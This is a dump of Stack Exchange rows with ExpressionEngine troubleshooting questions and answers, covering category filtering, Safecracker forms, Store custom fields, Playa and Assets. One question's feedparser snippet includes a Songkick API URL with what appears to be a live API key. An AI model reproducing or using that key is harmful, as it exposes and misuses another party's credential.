  <row Id="9508" PostTypeId="1" AcceptedAnswerId="9530" CreationDate="2013-04-19T10:31:03.247" Score="1" ViewCount="76" Body="&lt;p&gt;We've just moved a site from the dev server to the live server and everything seems to be fine. However, the categories filtering on the blog doesn't seem to be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URLs generated are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/blog/category/recipes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sidebar code for the categories is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Categories&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;  {exp:channel:categories channel=&quot;blog&quot; style=&quot;linear&quot;}&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='blog/index'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/exp:channel:categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The stripped down channel entries tag for &quot;blog/index&quot; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; orderby=&quot;entry_date&quot; sort=&quot;desc&quot; limit=&quot;5&quot;}&#xA;{if no_results}No results{/if}&#xA;&amp;lt;section class=&quot;blog-overview&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div class=&quot;extract-text&quot;&amp;gt;&#xA;      {blog_main_content:excerpt}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;p class=&quot;publish-date&quot;&amp;gt;Published on {entry_date format=&quot;%l %j %F %Y&quot;}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/section&amp;gt;    &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could I have missed during the site move? Where should I start looking to troubleshoot this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any advice&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;Archives seems to be filtering though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/blog/archives/2013/04&#xA;&#xA;{exp:channel:month_links channel=&quot;blog&quot; limit=&quot;12&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='blog/archives'}&quot;&amp;gt;{month} {year}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:month_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="313" LastEditorUserId="313" LastEditDate="2013-04-19T11:23:01.730" LastActivityDate="2013-04-21T21:47:58.173" Title="Categories work on dev server but not live server" Tags="|ee2|categories|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9510" PostTypeId="2" ParentId="9505" CreationDate="2013-04-19T11:14:36.223" Score="0" Body="&lt;p&gt;Upgrader may have failed, but it most likely modified a few things in the database making the manual update not right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd try a few things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Re-import database backup from prior to the failed Upgrader attempt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you don't have the backup...&#xA;2) Backup now, and uninstall Playa module (not extension), then reinstall the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if that didn't work...&#xA;3) Contact Playa official support at &lt;a href=&quot;http://pixelandtonic.com/support&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/support&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-04-19T11:14:36.223" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9511" PostTypeId="2" ParentId="9504" CreationDate="2013-04-19T11:22:01.630" Score="3" Body="&lt;p&gt;There's no natively supported way to add new custom order fields. I know they were increased from 5 to 9 to provide more flexibility but I'm not sure anyone has got to the point of needing more than 9 yet. Is there no way some of those fields can be combined? What are you storing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &lt;em&gt;did&lt;/em&gt; want to add more than you would have to modify the Store module itself but obviously that wouldn't be supported and you'd have problems with future updates. If you desperately needed to do this then:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; Add the required extra columns to the exp_store_orders table in the database&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; Open up Store &gt; Libraries &gt; store_cart.php and append the new custom order fields to the array on or around line 326 like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// update order details fields&#xA;foreach (array( '..., 'order_custom7', 'order_custom8', 'order_custom9', 'order_custom10', 'order_custom11' ...) as $field_name)&#xA;{&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; Open up Store &gt; Libraries &gt; store_config.php and append the new custom order fields to the array on or around line 156 like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function get_order_fields($get_defaults = FALSE)&#xA;{&#xA;    $order_fields = array(&#xA;        ...&#xA;        'order_custom7' =&amp;gt; array('title' =&amp;gt; '', 'member_field' =&amp;gt; ''),&#xA;        'order_custom8' =&amp;gt; array('title' =&amp;gt; '', 'member_field' =&amp;gt; ''),&#xA;        'order_custom9' =&amp;gt; array('title' =&amp;gt; '', 'member_field' =&amp;gt; ''),&#xA;        'order_custom10' =&amp;gt; array('title' =&amp;gt; '', 'member_field' =&amp;gt; ''),&#xA;        'order_custom11' =&amp;gt; array('title' =&amp;gt; '', 'member_field' =&amp;gt; ''),&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4)&lt;/strong&gt; Open up Store &gt; models &gt; store_orders_model.php on or around line 538 and append the new custom order fields like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach (array( ... 'order_custom7', 'order_custom8', 'order_custom9', 'order_custom10', 'order_custom11',&#xA;        ...) as $field_name)&#xA;{&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should be everything you need to get Store to register those new fields. But like I said, it's not supported.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-04-20T10:01:43.137" LastActivityDate="2013-04-20T10:01:43.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9512" PostTypeId="1" CreationDate="2013-04-19T11:33:19.950" Score="1" ViewCount="185" Body="&lt;p&gt;Pretty new to EE, I am creating a site similar to desert island discs - but for crisps for a friend and as part of my uni assignment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.5 and Safecracker 2.1. I have created the safecracker form based on this tutorial by Ryan White &lt;a href=&quot;http://www.venveo.com/articles/view/understanding-safecracker-for-expressionengine&quot; rel=&quot;nofollow&quot;&gt;http://www.venveo.com/articles/view/understanding-safecracker-for-expressionengine&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the form works a charm from the front end. This is the setup:user_entries. Status group with status Pending created and assigned to the group. In members I have created an annonymous user and assigned access to the above channel to publish from front end (status still pending). This is all good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template group called entries and inside this I have the user_entries template where the form code resides. I also have a confirmation template to redirect users upo successful submission. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now every time I test this, an entry is created - but in the pages section, which is fine. I can go there publish the page and all is good. What I can't figure out is how do I output all the new entries (after status change to Open) on the front end to another page called say Previous entries or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code for the Safecracker form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/html_head&quot;}&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!-- Super Container for entire site --&amp;gt;&#xA;{embed=&quot;includes/masthead&quot;}&#xA;&amp;lt;!-- Super Container --&amp;gt;&#xA;&amp;lt;div class=&quot;super-container full-width&quot;&amp;gt;&#xA;&#xA;    &amp;lt;!-- 960 Container --&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;&#xA;        &amp;lt;!-- CONTENT --&amp;gt;&#xA;        &amp;lt;div class=&quot;eleven columns content&quot;&amp;gt;        &#xA;        &amp;lt;h2 class=&quot;title&quot;&amp;gt;&amp;lt;span&amp;gt;Submit your 8 choices!&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;  &#xA;&#xA;&amp;lt;!--============SAFECRACKER STUFF GOES RIGHT HERE=============--&amp;gt;&#xA;                    {exp:safecracker&#xA;  channel=&quot;user_entries&quot;&#xA;  return=&quot;entries/confirmation&quot;&#xA;  include_jquery=&quot;no&quot;&#xA;  logged_out_member_id=&quot;2&quot;&#xA;  rules:your_name=&quot;required&quot;&#xA;  rules:choice_number_1=&quot;required&quot;&#xA;  rules:choice_number_2=&quot;required&quot;&#xA;  rules:choice_number_3=&quot;required&quot;&#xA;  rules:choice_number_4=&quot;required&quot;&#xA;  rules:choice_number_5=&quot;required&quot;&#xA;  rules:choice_number_6=&quot;required&quot;&#xA;  rules:choice_number_7=&quot;required&quot;&#xA;  rules:choice_number_8=&quot;required&quot;&#xA;  rules:title=&quot;required&quot;&#xA;}&#xA;&amp;lt;br class=&quot;clearfix&quot; /&amp;gt;&#xA;            &amp;lt;hr /&amp;gt;&#xA;&#xA;&amp;lt;h3 class=&quot;feature&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;First please tell us your name&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;your_name&quot; value=&quot;{your_name}&quot;/&amp;gt;&#xA;  &amp;lt;/h3&amp;gt;&#xA; &amp;lt;br class=&quot;clearfix&quot; /&amp;gt;&#xA;            &amp;lt;hr /&amp;gt;&#xA;&amp;lt;h3 class=&quot;feature&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Give your choice a memorable name&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;title&quot; value=&quot;{title}&quot;/&amp;gt;&#xA;  &amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;fieldset class=&quot;five columns alpha aside&quot;&amp;gt;&#xA;&#xA;  &amp;lt;!--Choice one code--&amp;gt;&#xA;  &amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 1&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_1&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 1 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_1_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 1 image&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;&quot; name=&quot;choice_1_image&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!--====Choice twocode--&amp;gt;&#xA;&amp;lt;fieldset class=&quot;five columns omega aside&quot;&amp;gt;&#xA;  &amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 2&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_2&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 2 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_2_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;  &amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 2 image&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;button green&quot; name=&quot;choice_2_image&quot;/&amp;gt;&#xA;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;!--===============Choice three code--&amp;gt;&#xA;&amp;lt;fieldset class=&quot;five columns alpha aside&quot;&amp;gt;&#xA;&#xA;&amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 3&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_3&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 3 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_3_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 3 image&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;button green&quot; name=&quot;choice_3_image&quot;/&amp;gt;&#xA;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!--====Choice four code--&amp;gt;&#xA;&amp;lt;fieldset class=&quot;five columns omega aside&quot;&amp;gt;&#xA;  &amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 4&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_4&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 4 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_4_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 4 image&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;button green&quot; name=&quot;choice_4_image&quot;/&amp;gt;  &#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;!--===============Choice five code--&amp;gt;&#xA;&amp;lt;fieldset class=&quot;five columns alpha aside&quot;&amp;gt;&#xA;&#xA;&amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 5&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_5&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 5 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_5_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 5 image&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;button green&quot; name=&quot;choice_5_image&quot;/&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!--====Choice six code--&amp;gt;&#xA;&amp;lt;fieldset class=&quot;five columns omega aside&quot;&amp;gt;&#xA;  &amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 6&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_6&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 6 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_6_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 6 image&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;button green&quot; name=&quot;choice_6_image&quot;/&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!--===============Choice seven code--&amp;gt;&#xA;&amp;lt;fieldset class=&quot;five columns alpha aside&quot;&amp;gt;&#xA;&#xA;&amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 7&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_7&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 7 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_7_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 7 image&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;button green&quot; name=&quot;choice_7_image&quot;/&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!--====Choice eight code--&amp;gt;&#xA;&amp;lt;fieldset class=&quot;five columns omega aside&quot;&amp;gt;&#xA;  &amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 8&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_8&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 8 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_8_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Have an image for Choice 8 image?&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;button green&quot; name=&quot;choice_8_image&quot;/&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;  &#xA;&amp;lt;!==============End the fieldsets here for the 8 choices--&amp;gt;&#xA;&amp;lt;br class=&quot;clearfix&quot; /&amp;gt;&#xA;            &amp;lt;hr /&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;  &amp;lt;input type=&quot;submit&quot; class=&quot;button yellow&quot; value=&quot;Submit your choices now!&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;br class=&quot;clear&quot; /&amp;gt;&#xA;{/exp:safecracker}&#xA;&#xA;            &amp;lt;br class=&quot;clearfix&quot; /&amp;gt;&#xA;            &amp;lt;hr /&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;  &#xA;        &amp;lt;!-- /CONTENT --&amp;gt;&#xA;&#xA;        &amp;lt;!-- SIDEBAR --&amp;gt;&#xA;        &amp;lt;div class=&quot;five columns sidebar&quot;&amp;gt;&#xA;&#xA;            {embed=&quot;includes/sidebar&quot;}      &amp;lt;!-- /SIDEBAR --&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- /End 960 Container --&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- /End Super Container --&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!-- ============================================== --&amp;gt;&#xA;&#xA;&#xA;{footer}    &#xA;&amp;lt;!-- End Document&#xA;================================================== --&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I shall be eternally grateful to any body who can help me with this issue. Please remember I'm  new to EE so go gentle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ilir&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;user_entries&quot; limit=&quot;8&quot; status=&quot;pending|open&quot;}&#xA;  &amp;lt;h4 class=&quot;title&quot;&amp;gt;&#xA;    &amp;lt;span&amp;gt;&#xA;      This is the choice {title} made by {your_name} on {entry_date format=&quot;%F %d, %Y&quot;}&#xA;    &amp;lt;/span&amp;gt;&#xA;  &amp;lt;/h4&amp;gt;&#xA;  &amp;lt;ol&amp;gt;&#xA;    &amp;lt;li class={first|second|third|fourth|fifth|sixth|seventh|last}&amp;gt;&#xA;      &amp;lt;h5&amp;gt;{choice_number_1}&amp;lt;/h5&amp;gt;&#xA;      &amp;lt;p class=&quot;align-left&quot;&amp;gt;{choice_1_description}&amp;lt;/p&amp;gt;&#xA;      &amp;lt;img class=&quot;align-left&quot; src=&quot;{choice_1_image}&quot;/&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;  &amp;lt;/ol&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1353" LastEditorUserId="69" LastEditDate="2013-04-19T13:11:34.043" LastActivityDate="2013-05-19T16:25:43.863" Title="Safecracker entries not showing in front end" Tags="|safecracker|entries|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9513" PostTypeId="2" ParentId="9505" CreationDate="2013-04-19T11:48:25.507" Score="2" Body="&lt;p&gt;Did you follow the upgrade instructions and go to the license key setting page? (&lt;a href=&quot;http://pixelandtonic.com/playa/docs/updating&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/playa/docs/updating&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-04-19T11:48:25.507" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9514" PostTypeId="2" ParentId="9421" CreationDate="2013-04-19T11:56:49.420" Score="1" Body="&lt;p&gt;I got a similar code-snippet as the one referred to in my question from Kevin at Ellislab. I couldn't get that one to work initially eiher, but after pruning the code, taking away some ' and &quot; it worked perfectly. Here's the code that worked for me: cdpn.io/DAHeg&lt;/p&gt;&#xA;" OwnerUserId="530" LastActivityDate="2013-04-19T11:56:49.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9515" PostTypeId="2" ParentId="9512" CreationDate="2013-04-19T12:28:19.863" Score="1" Body="&lt;p&gt;Try adding &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt;and see if that changes things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;user_entries&quot; limit=&quot;8&quot; status=&quot;pending|open&quot; dynamic=&quot;no&quot;}Entry Title: {title}&amp;lt;br&amp;gt;Entry ID: {entry_id}&amp;lt;br&amp;gt;Choice 1 Description: {choice_1_description}&amp;lt;br&amp;gt;&amp;lt;hr&amp;gt;{/exp:channel:entries}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-04-19T15:16:43.207" LastActivityDate="2013-04-19T15:16:43.207" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="9516" PostTypeId="2" ParentId="9477" CreationDate="2013-04-19T14:40:26.220" Score="1" Body="&lt;p&gt;While it wasn't as clean of a solution as I wanted, I ended up using categories rather than a Playa relationship. Does the trick, but now I have a category group acting as a channel.&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-04-19T14:40:26.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9517" PostTypeId="1" CreationDate="2013-04-19T15:04:48.533" Score="0" ViewCount="112" Body="&lt;p&gt;for some reason my assets subfolders keep disappearing and then the images are removed from the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are still present on the server but assets no longer sees them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indexing doesn't cure the issue. Has anyone any advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets 2.1 and EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Guy&lt;/p&gt;&#xA;" OwnerUserId="1308" LastActivityDate="2013-04-25T22:33:29.643" Title="Assets missing subfolders and images on the front end?" Tags="|assets|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9518" PostTypeId="1" AcceptedAnswerId="9542" CreationDate="2013-04-19T16:06:23.050" Score="0" ViewCount="103" Body="&lt;p&gt;I am using ajw feedparser to output a feed from Songkick. It has been working correctly up until recently but now the date is showing as a day earlier than it should eg. 15th April instead of 16th.&#xA;Any suggestions would be much appreciated! (The feedparser plugin support forum is pretty dead!)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ajw_feedparser &#xA;url=&quot;http://api.songkick.com/api/3.0/artists/304376/calendar.xml?apikey=2bpAQkQkQ3wYFukP&quot; &#xA;itempath=&quot;/resultsPage/results/event&quot;&#xA;         cache_refresh=&quot;60&quot;&#xA;         limit=&quot;3&quot;}&#xA;    &amp;lt;h5&amp;gt;{start@date format='%M %j %Y'} &amp;amp;nbsp; &amp;lt;a href=&quot;{@uri}&quot;&amp;gt;&#xA;{if series@displayName}{series@displayName}, {/if}&#xA;{if venue@displayName}{venue@displayName}{/if}&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt; &#xA;      {/exp:ajw_feedparser}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-04-21T17:53:20.500" Title="Wrong date being parsed" Tags="|plugin|rss|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9519" PostTypeId="1" AcceptedAnswerId="9579" CreationDate="2013-04-19T16:17:17.957" Score="2" ViewCount="406" Body="&lt;p&gt;I've looked at &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2481/getting-reverse-related-entries-via-playa&quot;&gt;this question&lt;/a&gt; which confirms that as far as I can tell that I am doing things correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two channels: Divisions and Zoo Visitor (members). In the zoo visitor channel I have a field &quot;division&quot; where the member selects the division or divisions that they belong to. Then in the divisions template I want to list the members in that division. The code I am using is below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:entries channel=&quot;divisions&quot; limit=&quot;1&quot; disable=&quot;categories|pagination&quot;}&#xA;    &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;img src=&quot;http://placehold.it/600x240&amp;amp;text=[img 600*240]&quot; /&amp;gt;&#xA;&#xA;    {divisions-content}&#xA;&#xA;&#xA;&amp;lt;hr /&amp;gt;&#xA;    {exp:playa:parents channel=&quot;zoo_visitor&quot;}&#xA;    playa field&#xA;      {title}    &#xA;    {/exp:playa:parents}&#xA;&amp;lt;hr /&amp;gt;&#xA;&#xA;  {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this code is not outputting anything, not even playa field inside the playa tag pair. I've also tried adding this parameter to the playa field pair: &lt;code&gt;disable=&quot;categories|category_fields|pagination&quot;&lt;/code&gt; but nothing changes. I've triple checked that I'm on a page where the reverse relationship should be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-04-22T16:20:26.090" Title="Playa Reverse Relationship - not working" Tags="|templates|playa|relationships|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
